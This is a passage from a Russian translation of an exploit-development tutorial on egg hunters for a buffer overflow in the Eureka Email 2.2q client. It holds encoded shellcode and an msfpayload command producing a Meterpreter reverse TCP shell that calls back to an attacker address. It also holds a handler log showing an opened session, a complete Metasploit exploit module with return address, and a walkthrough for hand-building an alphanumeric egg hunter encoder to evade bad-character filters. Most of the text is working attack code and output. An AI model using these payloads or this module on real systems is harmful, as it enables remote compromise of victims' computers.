"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\ x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\ x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\ x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\ x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\ x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\ x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\ x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\ x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\ x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\ x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\ x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\ x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\ x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\ x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\ x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\ x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\ x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open(FILE,">code.bin");
print FILE $shellcode;
print "Wrote ".length($shellcode)." bytes to file code.bin\n";
close(FILE);
(Будем предполагать, что файл будет записан в папку «C:\tmp». Обратите внимание, что в этом примере, я не поместил маркер «w00tw00t» перед шеллкодом, потому что эту технику можно использовать не только для работы с охотниками за яйцами. Конечно, если вы хотите добавить «w00tw00t» к шеллкоду то, как говорится, хозяин – барин.)
Далее, присоедините отладчик Immunity Debugger к приложению, поставьте брэйкпойнт перед тем как шеллкод будет выполнен и затем вызовите эксплойт.
Теперь запустите следующую PyCommand:
Code:
!pvefindaddr compare c:\tmp\code.bin
Скрипт откроет файл, возьмет первые 8 байт и, используя их, начнет поиск местоположений шеллкода в памяти. Затем, когда все местоположения будут найдены, скрипт сравнит шеллкод в памяти с шеллкодом из файла.
Если шеллкод не был изменен, то вы увидите что-то вроде этого:
Если шеллкод будет отличатся (я изменил несколько байт для демонстрации), то вы увидите что-то вроде этого:- для каждого несовпадающего байта, вы получите запись в логе, которая сопоставит текущую позицию с позицией в оригинальном шеллкоде, т.е. можно будет сравнить текущее значение байта в шеллкоде со значением байта в оригинальном шеллкоде. Таким образом, это можно использовать для того, чтобы создать список плохих символов или для того, что определить, что шеллкод, например, был преобразован в верхний или нижний регистр…
- так же будет дано визуальное представление текущего и оригинального шеллкода, в котором с помощью символа « – » будут заменены несовпадающие байты.
Таким образом, если один из шеллкодов находящихся в памяти выглядит поврежденным, вы можете попытаться перекодировать его, чтобы отфильтровать плохие символы… Но если есть хотя бы одна не поврежденная копия шеллкода, то вы можете попытаться определить способ, чтобы перепозиционировать охотника за яйцами таким образом, чтобы он нашел неповрежденную копию шеллкода первой 
Примечание: вы можете сравнить байты в памяти (по определенному местоположению в памяти) с байтами из файла, путем добавления желаемого адреса в командной строке:
Давайте посмотрим, будет ли охотник по-прежнему работать с большим шеллкодом (что собственно и является одной из целей, лежащих за использованием охотников за яйцами)
Давайте испытаем охотника на большом шеллкоде. Ниже мы попытаемся породить Meterpreter сессию через TCP (обратное соединение к атакующему) в том же самом эксплойте для Eureka Email.
Сгенерируем шеллкод. Моей атакующей машиной будет 192.168.0.122 с портом по умолчанию 4444. В качестве кодера используем alpha_mixed. Исходя из этого, команда будет выглядеть следующим образом:
Code:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.122 R | ./msfencode -b ’0×00′ -t perl -e x86/alpha_mixed
Code: Perl
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.122 R | ./msfencode -b '0x00' -t perl -e x86/alpha_mixed[*] x86/alpha_mixed succeeded with size 644 (iteration=1)
my $buf =
"\x89\xe5\xd9\xe5\xd9\x75\xf4\x5e\x56\x59\x49\x49\ x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\ x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\ x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\ x38\x41" .
"\x42\x75\x4a\x49\x49\x6c\x4b\x58\x4e\x69\x45\x50\ x45\x50" .
"\x45\x50\x43\x50\x4c\x49\x4b\x55\x46\x51\x49\x42\ x50\x64" .
"\x4e\x6b\x42\x72\x44\x70\x4c\x4b\x46\x32\x46\x6c\ x4e\x6b" .
"\x43\x62\x45\x44\x4e\x6b\x44\x32\x51\x38\x46\x6f\ x4c\x77" .
"\x50\x4a\x45\x76\x45\x61\x4b\x4f\x45\x61\x49\x50\ x4e\x4c" .
"\x47\x4c\x43\x51\x43\x4c\x46\x62\x44\x6c\x51\x30\ x4f\x31" .
"\x4a\x6f\x44\x4d\x43\x31\x4f\x37\x4d\x32\x4c\x30\ x50\x52" .
"\x42\x77\x4e\x6b\x50\x52\x44\x50\x4e\x6b\x50\x42\ x47\x4c" .
"\x43\x31\x4a\x70\x4e\x6b\x43\x70\x43\x48\x4b\x35\ x49\x50" .
"\x43\x44\x43\x7a\x45\x51\x48\x50\x46\x30\x4e\x6b\ x43\x78" .
"\x45\x48\x4c\x4b\x50\x58\x45\x70\x47\x71\x49\x43\ x4a\x43" .
"\x47\x4c\x42\x69\x4c\x4b\x44\x74\x4e\x6b\x47\x71\ x49\x46" .
"\x50\x31\x49\x6f\x50\x31\x4b\x70\x4e\x4c\x4b\x71\ x4a\x6f" .
"\x44\x4d\x47\x71\x4b\x77\x45\x68\x4b\x50\x43\x45\ x4a\x54" .
"\x47\x73\x43\x4d\x49\x68\x45\x6b\x43\x4d\x51\x34\ x44\x35" .
"\x4d\x32\x51\x48\x4c\x4b\x42\x78\x51\x34\x47\x71\ x4b\x63" .
"\x43\x56\x4e\x6b\x46\x6c\x50\x4b\x4c\x4b\x43\x68\ x47\x6c" .
"\x45\x51\x4e\x33\x4e\x6b\x45\x54\x4e\x6b\x46\x61\ x4a\x70" .
"\x4c\x49\x50\x44\x51\x34\x45\x74\x51\x4b\x43\x6b\ x51\x71" .
"\x51\x49\x50\x5a\x42\x71\x49\x6f\x4d\x30\x51\x48\ x43\x6f" .
"\x51\x4a\x4c\x4b\x44\x52\x4a\x4b\x4d\x56\x51\x4d\ x51\x78" .
"\x46\x53\x46\x52\x45\x50\x47\x70\x50\x68\x42\x57\ x50\x73" .
"\x50\x32\x51\x4f\x50\x54\x51\x78\x42\x6c\x44\x37\ x46\x46" .
"\x43\x37\x49\x6f\x4e\x35\x4c\x78\x4c\x50\x46\x61\ x43\x30" .
"\x45\x50\x46\x49\x4a\x64\x51\x44\x50\x50\x43\x58\ x44\x69" .
"\x4f\x70\x42\x4b\x45\x50\x4b\x4f\x48\x55\x50\x50\ x46\x30" .
"\x42\x70\x50\x50\x47\x30\x50\x50\x43\x70\x46\x30\ x45\x38" .
"\x48\x6a\x46\x6f\x49\x4f\x49\x70\x4b\x4f\x4e\x35\ x4f\x67" .
"\x42\x4a\x47\x75\x51\x78\x4f\x30\x4f\x58\x43\x30\ x42\x5a" .
"\x50\x68\x46\x62\x43\x30\x42\x31\x43\x6c\x4c\x49\ x4d\x36" .
"\x50\x6a\x42\x30\x46\x36\x46\x37\x42\x48\x4d\x49\ x4e\x45" .
"\x42\x54\x51\x71\x49\x6f\x4e\x35\x4d\x55\x49\x50\ x44\x34" .
"\x44\x4c\x49\x6f\x50\x4e\x44\x48\x50\x75\x4a\x4c\ x43\x58" .
"\x4c\x30\x4c\x75\x49\x32\x42\x76\x49\x6f\x4a\x75\ x43\x5a" .
"\x45\x50\x51\x7a\x43\x34\x42\x76\x50\x57\x51\x78\ x45\x52" .
"\x4b\x69\x4b\x78\x43\x6f\x49\x6f\x48\x55\x4e\x6b\ x46\x56" .
"\x51\x7a\x51\x50\x43\x58\x45\x50\x46\x70\x45\x50\ x45\x50" .
"\x51\x46\x42\x4a\x45\x50\x50\x68\x51\x48\x4f\x54\ x46\x33" .
"\x4d\x35\x4b\x4f\x4b\x65\x4e\x73\x46\x33\x42\x4a\ x43\x30" .
"\x50\x56\x43\x63\x50\x57\x42\x48\x44\x42\x48\x59\ x49\x58" .
"\x51\x4f\x49\x6f\x4b\x65\x43\x31\x49\x53\x46\x49\ x4b\x76" .
"\x4d\x55\x4b\x46\x51\x65\x48\x6c\x49\x53\x47\x7a\ x41\x41";
В скрипте эксплойта, замените шеллкод вызывающий calc.exe, шелкодом сгенерированным выше.
Перед запуском эксплойта, установите meterpreter listener:
Code:
./msfconsole
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 490 exploits - 227 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
=[ svn r8091 updated today (2010.01.09)
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set LHOST 192.168.0.122
LHOST => 192.168.0.122
msf exploit(handler) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.0.122 yes The local address
LPORT 4444 yes The local port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
[*] Starting the payload handler...[*] Started reverse handler on port 4444
Теперь запустите экплойт. Он произведет переполнение в Eureka, после чего, по прошествии нескольких секунд, вы должны увидеть следующее:
Code:
[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (192.168.0.122:4444 -> 192.168.0.193:15577)
meterpreter >
Owned!
Реализация охотника за яйцами в Metasploit
Давайте преобразуем наш эксплойт для Eureka Mail Client в модуль Metasploit. Вы можете найти некоторую информацию о том, как можно сделать в Metasploit Wiki:
http://www.metasploit.com/redmine/pr...ortingExploits
Некоторые факты, прежде чем начнем:- нам нужно установить сервер (POP3, прослушивающий порт 110)
- нам нужно вычислить правильное смещение. Будем использовать для этого параметр SRVHOST
- Будем предполагать, что клиент использует XP SP3 (можно использовать больше систем, если вы сможете достать правильные смещения jmp-адресов для других Сервис паков).
Примечание: оригинальный Metasploit-модуль для этой уязвимости уже является частью Metasploit (смотрите в папку exploits/windows/misc и найдите там eureka_mail_err.rb). Здесь же мы просто создадим собственный модуль.
Наш модуль будет выглядеть примерно так:
Code:
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',
'Description' => %q{
This module exploits a buffer overflow in the Eureka Email 2.2q
client that is triggered through an excessively long ERR message.
},
'Author' =>
[
'Peter Van Eeckhoutte (a.k.a corelanc0d3r)'
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Win XP SP3 English', { 'Ret' => 0x7E47BCAF } ], # jmp esp / user32.dll
],
'Privileged' => false,
'DefaultTarget' => 0))
register_options(
[
OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
], self.class)
end
def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
# the offset to eip depends on the local ip address string length...
offsettoeip=723-datastore['SRVHOST'].length
# create the egg hunter
hunter = generate_egghunter
# egg
egg = hunter[1]
buffer = "-ERR "
buffer << make_nops(offsettoeip)
buffer << [target.ret].pack('V')
buffer << hunter[0]
buffer << make_nops(1000)
buffer << egg + egg
buffer << payload.encoded + "\r\n"
print_status("[*] Sending exploit to #{client.peerhost}...")
print_status(" Offset to EIP : #{offsettoeip}")
client.put(buffer)
client.put(buffer)
client.put(buffer)
client.put(buffer)
client.put(buffer)
client.put(buffer)
handler
service.close_client(client)
end
end
Конечно, если хотите использовать собственного охотника (вместо использования одного из встроенных в Metasploit – которые, между прочим, для поиска в памяти используют техники NtDisplayString/NtAccessCheckAndAuditAlarm), то вы также можете вручную встроить его байт-код в эксплойт.
Эксплойт: (192.168.0.193 = клиент выполняющий Eureka, настроенный на соединение с адресом 192.168.0.122, который выступает в качестве POP3-сервера. Адрес 192.168.0.122 = Metasploit-машине).
Я помести наш модуль в exploit/windows/eureka (новую папку).
Тест:
Code:
# # ###### ##### ## #### ##### # #### # #####
## ## # # # # # # # # # # # #
# ## # ##### # # # #### # # # # # # #
# # # # ###### # ##### # # # # #
# # # # # # # # # # # # # #
# # ###### # # # #### # ###### #### # #
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 493 exploits - 232 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
=[ svn r8137 updated today (2010.01.15)
msf > use exploit/windows/eureka/corelan_eureka2
msf exploit(corelan_eureka2) > set payload windows/exec
payload => windows/exec
msf exploit(corelan_eureka2) > set SRVHOST 192.168.0.122
SRVHOST => 192.168.0.122
msf exploit(corelan_eureka2) > set CMD calc
CMD => calc
msf exploit(corelan_eureka2) > exploit[*] Exploit running as background job.
msf exploit(corelan_eureka2) >[*] Server started.[*][*] Sending exploit to 192.168.0.193...[*] Offset to EIP : 710[*] Server stopped.
Соединение клиента Eureka Mail с 192.168.0.122:
Другие пэйлоады:
bindshell на порт 55555:
Badchars + Encoding
Использование Metasploit
Код охотника является таким же обычным шеллкодом. Он чувствителен к повреждениям в памяти, плохим символам, etc. Так что, если вы получаете странные ошибки, во время выполнения охотника, вероятно, стоит сравнить оригинальный код охотника с тем, что вы имеете в памяти, и найти плохие символы. (Я уже объяснял способ сравнения кода (в независимости от того, является ли он шеллкодом или охотником) раньше в этом уроке.)
Что если вы обнаружили, что код был поврежден?
В данном случае, в качестве альтернативного варианта, чтобы заставить эксплойт работать, может потребоваться либо кодировщик, либо фильтрация «плохих символов», либо и то и другое, что поможет отфильтровать символы, которые будут испорчены или преобразованы в памяти и повредят код.
Кроме того, имейте ввиду, что тип код кодирощика и тип плохих символов, которые должны быть отфильтрованы, «могут» совершенно отличаться от тех, что применимы для шеллкода и для охотника. Такое случается редко, но это возможно.
Кодирование (encoding) охотника (или любого шеллкода) происходит довольно просто. Просто запишите код охотника в файл, закодируйте файл и используйте закодированные байты в качестве пэйлоада охотника. Надо ли включать маркер/тег перед кодированием или нет, зависит от плохих символов, но в большинстве случаев их не нужно включать. Все же, если тег, после кодирования охотника, отличается – его нужно заменить и шеллкоде… Вам придется поместить код охотника в отладчик и посмотреть, что происходит с тегом.
Пример: Допустим, что охотник нуждается в буквенно-цифровом кодировщике (верхнего регистра) и вы поместили тег в eggfile, тогда результат будет таким.
Code: Perl
root@xxxxx:/pentest/exploits/trunk# cat writeegghunter.pl
#!/usr/bin/perl
# Write egghunter to file
# Peter Van Eeckhoutte
#
my $eggfile = "eggfile.bin";
my $egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\ x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
open(FILE,">$eggfile");
print FILE $egghunter;
close(FILE);
print "Wrote ".length($egghunter)." bytes to file ".$eggfile."\n";
root@xxxxx:/pentest/exploits/trunk# perl writeegghunter.pl
Wrote 32 bytes to file eggfile.bin
root@xxxxx:/pentest/exploits/trunk# ./msfencode -e x86/alpha_upper -i eggfile.bin -t perl[*] x86/alpha_upper succeeded with size 132 (iteration=1)
my $buf =
"\x89\xe0\xda\xc0\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\ x4a\x43" .
"\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\ x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\ x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\ x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x43\x56\ x4d\x51" .
"\x49\x5a\x4b\x4f\x44\x4f\x51\x52\x46\x32\x43\x5a\ x44\x42" .
"\x50\x58\x48\x4d\x46\x4e\x47\x4c\x43\x35\x51\x4a\ x42\x54" .
"\x4a\x4f\x4e\x58\x42\x57\x46\x50\x46\x50\x44\x34\ x4c\x4b" .
"\x4b\x4a\x4e\x4f\x44\x35\x4b\x5a\x4e\x4f\x43\x45\ x4b\x57" .
"\x4b\x4f\x4d\x37\x41\x41";
Посмотрите на результат в $buf: ваш тег должен быть там, но где? Он был изменен или нет? Будет ли эта закодированная версия работать?
Проверьте это. Не расстраивайтесь, если он не будет работать и читайте дальше.
Изготовление кодировщика вручную
Что, если существует слишком много ограничений и Metasploit не в состоянии закодировать ваш шеллкод? (охотник за яйцами = шеллкоду, так что, в целом, это применимо ко всем формам и видам шелкодов)
Что, если, например, список плохих символов слишком большой, что если, кроме этого, код охотника должен быть исключительно буквенно-цифровым…
В таком случае, необходимо создать свой собственный кодировщик. В действительности, простое кодирование охотника (включая тег) не будет работать из коробки. По сути, нам нужен декодер, который сможет воспроизвести оригинальный код охотника (включая тег) и выполнить его.
Идея этой главы была взята из красивого эксплойта написанного Muts’ом. Если вы посмотрите на этот эксплойт, то увидите код «специального» охотника.
Code: Perl
egghunter=(
"%JMNU%521*TX-1MUU-1KUU-5QUUP\AA%J"
"MNU%521*-!UUU-!TUU-IoUmPAA%JMNU%5"
"21*-q!au-q!au-oGSePAA%JMNU%521*-D"
"A~X-D4~X-H3xTPAA%JMNU%521*-qz1E-1"
"z1E-oRHEPAA%JMNU%521*-3s1--331--^"
"TC1PAA%JMNU%521*-E1wE-E1GE-tEtFPA"
"A%JMNU%521*-R222-1111-nZJ2PAA%JMN"
"U%521*-1-wD-1-wD-8$GwP")
В коде эксплойта говорится: «Буквенно-цифровой шеллкод охотника + ограничение на символы x40\x3f\x3a\x2f». Таким образом, похоже, что эксплойт может использовать только печатаемые ASCI-символы (буквенно-цифровые), что собственно не так уж необычно для веб серверов и приложений.
Когда сконвертируете охотника в ASM, увидите следующее (показано, только, первые несколько строк кода):
Code:
25 4A4D4E55 AND EAX,554E4D4A
25 3532312A AND EAX,2A313235
54 PUSH ESP
58 POP EAX
2D 314D5555 SUB EAX,55554D31
2D 314B5555 SUB EAX,55554B31
2D 35515555 SUB EAX,55555135
50 PUSH EAX
41 INC ECX
41 INC ECX
25 4A4D4E55 AND EAX,554E4D4A
25 3532312A AND EAX,2A313235
2D 21555555 SUB EAX,55555521
2D 21545555 SUB EAX,55555421
2D 496F556D SUB EAX,6D556F49
50 PUSH EAX
41 INC ECX
41 INC ECX
25 4A4D4E55 AND EAX,554E4D4A
25 3532312A AND EAX,2A313235
2D 71216175 SUB EAX,75612171
2D 71216175 SUB EAX,75612171
2D 6F475365 SUB EAX,6553476F
Воу – это не похоже на охотника, которого мы знаем, не так ли?
Давайте посмотрим что он делает. Первые четыре инструкции очищают EAX (2 логические операции AND) и помещают указатель из ESP в стек (который указывает на начало закодированного охотника). Затем, это значение помещает в EAX. Таким образом, после выполнения этих инструкций, EAX указывает на начало охотника.
Code:
25 4A4D4E55 AND EAX,554E4D4A
25 3532312A AND EAX,2A313235
54 PUSH ESP
58 POP EAX
Далее, значение в EAX изменяется (с помощью серии инструкций SUB). После чего, новое значение EAX помещается в стек, а ECX увеличивается на 2:
Code:
2D 314D5555 SUB EAX,55554D31
2D 314B5555 SUB EAX,55554B31
2D 35515555 SUB EAX,55555135
50 PUSH EAX
41 INC ECX
41 INC ECX
(Число, которое вычисляется в EAX будет позже иметь важное значение! Я вернусь к нему через минуту.)
Затем, EAX снова очищается (2 операции AND). Далее над ним выполняются три операции SUB, после чего его значение помещается в стек.
Таким образом, перед тем, как будет выполнена инструкция SUB EAX,55555521, сам EAX = 00000000. Когда будет выполнена первая SUB, EAX будет содержать AAAAAADF. После выполнения второй SUB, EAX будет содержать 555556BE, а после выполнения третей SUB, EAX будет содержать E7FFE775. После чего, это значение помещается в стек.
Подождите минуту. Это значание выглядит знакомым для меня. По сути, байты 0xE7, 0xFF, 0xE7, 0×75 являются последними четырьмя байтами охотника, основанного на NtAccessCheckAndAuditAlarm (в обратном порядке). Отлично.
Если вы продолжите выполнять код, то увидите, что он воспроизведет код оригинального охотника за яйцами (но, в моем тесткейсе используется другой эксплойт, поэтому код не работает).
В любом случае, код Muts’а использует кодировщик, который, по сути, воспроизведет код оригинального охотника, поместит его в стек и выполнит воспроизведенный код, эффектно обходя ограничение на плохие символы (поскольку, тело всего кодировщика не использует никаких плохих символов). Гениально просто! Я никогда не видел реализации такого кодировщика, до того как был опубликован этот конкретный эксплойт, Действительно хорошо сделано!
Конечно, если опкоды AND, PUSH, POP, SUB, INC так же находятся в списке плохих символов, то у вас могут возникнуть проблемы… Сейчас вы можете поиграть со значениями SUB инструкций, чтобы воспроизвести оригинальный код охотника, отследить его текущее местоположение в стеке и, наконец, осуществить переход (jump) на него.
Как осуществить переход (jump)?
Если вы имеете дело с ограниченным набором символов (например, разрешены только буквенно-цифровые печатные ASCII-символы), то JMP ESP или PUSH ESP+RET, … не будут работать, поскольку эти инструкции могут иметь недопустимые символы. Если вы не ограниченные этими символами, то просто добавьте переход на конец закодированного охотника и на этом все.
Давайте предположим, что мы имеем ограниченный набор символов, поэтому нам нужно найти другой способ решения этой проблемы. Помните, что раньше я сказал, что некоторые инструкцию будут позже иметь «важное значение»? Это именно тот случай/место, где они вступает в игру. Если мы не можем сделать переход (jump), то нам нужно убедиться, что код начинает выполнение автоматически. Лучший способ сделать это – это записать декодированный код охотника сразу после кода кодировщика… Таким образом, когда код кодировщика, закончит восстановление оригинального кода охотника, он сможет просто начать выполнение кода охотника.
Это означает, что вычисляемое значение, должно указывать на место, которое размещено после кода охотника и это значение, нужно поместить в ESP перед началом декодирования. Таким образом, декодер восстановит код охотника и поместит его сразу после себя. Мы познакомимся с этим более близко в следующей главе.
Смотреть на код, который выполняет и воспроизводит оригинальный код охотника – это все хорошо, но как создать свой собственный декодер?
Фреймворк для создания закодированного охотника (или декодировщика, если так вам угодно) выглядит следующим образом:- Настройте стек и регистры (вычислить место, куда должен быть записан декодированный код охотника. Это будет локальная позиция + длина закодированного кода (который будет примерно такого же размера). Вычисление места, куда должен быть записан декодированный код охотник, требует от вас определения значений регистров, в момент, когда декодер охотника начнет свое выполнение. Если к коду декодера вы перешли через JMP ESP, тогда ESP будет содержать текущее местоположение, и вам просто сможете увеличивать его значение до тех пор, пока он не будет указывать на правильную позицию.)
- Восстанавливайте код охотника по 4 байта и помещайте их за декодер (используйте две AND инструкции для очистки EAX, три SUB инструкции для восстановления оригинального кода и одну PUSH инструкцию для помещения восстановленного кода в стек)
- Когда все байты будут восстановлены, the decoded egg hunter should kick in.
Сначала, давайте создадим кодер для охотника. Вам нужно сгруппировать его код в группы по 4 байта. Делать это нужно с конца, т.е. с последних четырёх байтов кода (потому что каждую восстановленную группу кода, мы будем помещать в стек, а значит в конце, первые байты будут на вершине стека). Так как наш охотник (NtAccessCheckAndAuditAlarm) состоит из 32 байтов, он имеет правильное выравнивание, т.е. его размер кратен 4 байтам. Но если код не имеет правильного выравнивания, вы можете добавить больше байтов (NOPs) в конец кода охотника.
Code:
\x66\x81\xCA\xFF
\x0F\x42\x52\x6A
\x02\x58\xCD\x2E
\x3C\x05\x5A\x74
\xEF\xB8\x77\x30 ;w0
\x30\x74\x8B\xFA ;0t
\xAF\x75\xEA\xAF
\x75\xE7\xFF\xE7
Код, используемый Матсом, отлично восстанавливает код охотника (который использует W00T в качестве тега). Вот то, что помещается кодом в стек, когда он был запущен:
Отлично.
Однако осталось два вопроса: как, сейчас, сделать переход на код охотника, и что если вам нужно написать самим свой собственный кодировщик охотника?
Поскольку, код нашего охотника, состоит из 8 групп по 4 байта, вам нужно будет написать 8 блоков для создания кодировщика. Весь код должен использовать только буквенно-цифровые символы, и не должен использовать никаких плохих символов (см. http://www.asciitable.com/). Первый печатаемый символ начинается со значения 0x20 (пробел) или 0x21, а последний заканчивается значением 0x7E.
Каждый блок, чтобы воссоздать 4 байта кода охотника, использует инструкции SUB. Способ вычисления значений, которые будут использоваться в SUB-инструкциях, заключается в следующем:
Взять одну группу кода охотника, инвертировать байты «!» и получит его дополнительный код (2’s complement) (взять все биты, инвертировать их и добавить единицу) (Используя Windows калькулятор, установите режим hex/dword и вычислите выражение «0 - значение»). Для последней группы байтов охотника (0x75E7FFE7 -> 0xE7FFE775) это было бы 0x1800188B (что равно выражению «0 – E7FFE775»).
Затем найдите 3 значения, которые состоят только из буквенно-цифровых значений (печатаемых ASCII-символов) и не используют никакие плохие символы (\x40\x3f\x3a\x2f)… и при суммировании которых вы должны снова получить значение «дополнительного кода» (0x1800188B в случае с последней группой байт).
В итоге, эти 3 полученных значения является именно теми, которые должны использоваться в инструкциях SUB, EAX < … >.
Поскольку, байты будут помещаться в стек, вам нужно начать с последней группы кода охотника, таким образом, после того, как последняя группа кода, будет помещена в стек, регистр ESP будет указывать на первые байты охотника.
Чтобы вычислить 3 значения, я обычно делаю так:- вычисляю дополнительный код (2’s complement) для инвертированных байтов
- Начнем с первого байта из «дополнительного кода», (18 в нашем случае), и найдем три значения, сумма которых даст нам значение 18. Возможно, вам придется переполнить значение для того, чтобы это сработало (поскольку, вы будите ограничены только печатаемыми ASCII-символами). Таким образом, простое использование 06+06+06 не будет работать, поскольку 06 является допустимым символом. В этом случае, нам нужно осуществить переполнение и перейти к 118. Я обычно начинаю с использования значений где-то между 55 (3 раза по 55 = 0) и 7F (последний символ). Возьмем к примеру 71. Добавим 71 к 71, получим E2. Для того, чтобы получить из E2 значение 118, нужно прибавить 36, что является допустимым символом, таким образом мы нашли наш первый байт. Это может не самый эффективный метод, чтобы сделать это, но это работает. (Подсказка: запустите calc.exe, введите байт который вы хотите получить, разделите на 3, чтобы знать с какой области вам нужно начинать поиск возможных значений).
Затем сделайте тоже самое для следующих трех байт «дополнительного кода». Обратите внимание: если вам нужно осуществить переполнение для получение определенного значения, это может оказать воздействие следующие байты. Просто просуммируйте 3 значения и если вы получите переполнение, то вам нужно будет отнять единицу и следующего байтов в одном из 3-х значений. Просто попробуйте и вы поймете, что я имею ввиду (и вы узнаете, почему 3-е значение начинается с 35 вместо 36).
Последняя группа кода охотника:
Code:
x75 xE7 xFF xE7 -> xE7 xFF xE7 x75: (2’s complement : 0x1800188B)
-----------------------------------------------------------------
sub eax, 0x71557130 (=> "\x2d\x30\x71\x55\x71") (Reverse again !)
sub eax, 0x71557130 (=> "\x2d\x30\x71\x55\x71")
sub eax, 0x3555362B (=> "\x2d\x2B\x36\x55\x35")
=> sum of these 3 values is 0x11800188B (or 0x1800188B in dword)
Посмотрим на другой пример. Вторая группа, с конца кода охотника:
Code:
xAF x75 xEA xAF -> xAF xEA x75 xAF: (2’s complement : 0x50158A51)
-----------------------------------------------------------------
sub eax, 0x71713071
sub eax, 0x71713071
sub eax, 0x6D33296F
И так далее…
Code:
x30 x74 x8B xFA -> xFA x8B x74 x30: (2’s complement : 0x05748BD0)
-----------------------------------------------------------------
sub eax, 0x65253050
sub eax, 0x65253050
sub eax, 0x3B2A2B30
xEF xB8 x77 x30 -> x30 x77 xB8 xEF: (2’s complement : 0xCF884711)
-----------------------------------------------------------------
sub eax, 0x41307171
sub eax, 0x41307171
sub eax, 0x4D27642F
x3C x05 x5A x74 -> x74 x5A x05 x3C: (2’s complement : 0x8BA5FAC4)
------------------------------------------------------------------
sub eax, 0x30305342
sub eax, 0x30305341
sub eax, 0x2B455441
x02 x58 xCD x2E -> x2E xCD x58 x02: (2’s complement : 0xD132A7FE)
-----------------------------------------------------------------
sub eax, 0x46663054
sub eax, 0x46663055
sub eax, 0x44664755
x0F x42 x52 x6A -> x6A x52 x42 x0F: (2’s complement : 0x95ADBDF1)
-----------------------------------------------------------------
sub eax, 0x31393E50
sub eax, 0X32393E50
sub eax, 0x323B4151
И наконец, первая группа:
Code:
x66 x81 xca xff -> xff xca x81 x66 (2’s complement : 0x00357E9A)
----------------------------------------------------------------
sub eax, 0x55703533
sub eax, 0x55702533
sub eax, 0x55552434
Каждый из этих блоков должен быть предварен кодом, который обнуляет EAX:
Пример:
Code:
AND EAX,554E4D4A ("\x25\x4A\x4D\x4E\x55")
AND EAX,2A313235 ("\x25\x35\x32\x31\x2A")
(2-е инструкции AND по 5 байт, каждая)
Каждый блок должен сопровождаться инструкцией PUSH EAX (занимает один байт, «\x50»), которая помещает результат (одну группу кода охотника) в стек. Не забывайте об этом, иначе ваш декодированный охотник не будет помещен в стек.
Итак: каждый блок будет занимать: 10 байт (обнуление EAX) + 15 байт (декодирование) + 1 байт (PUSH EAX) = 26 байт. Так как мы имеем восемь блоков, их общий размер составит 208 байт.
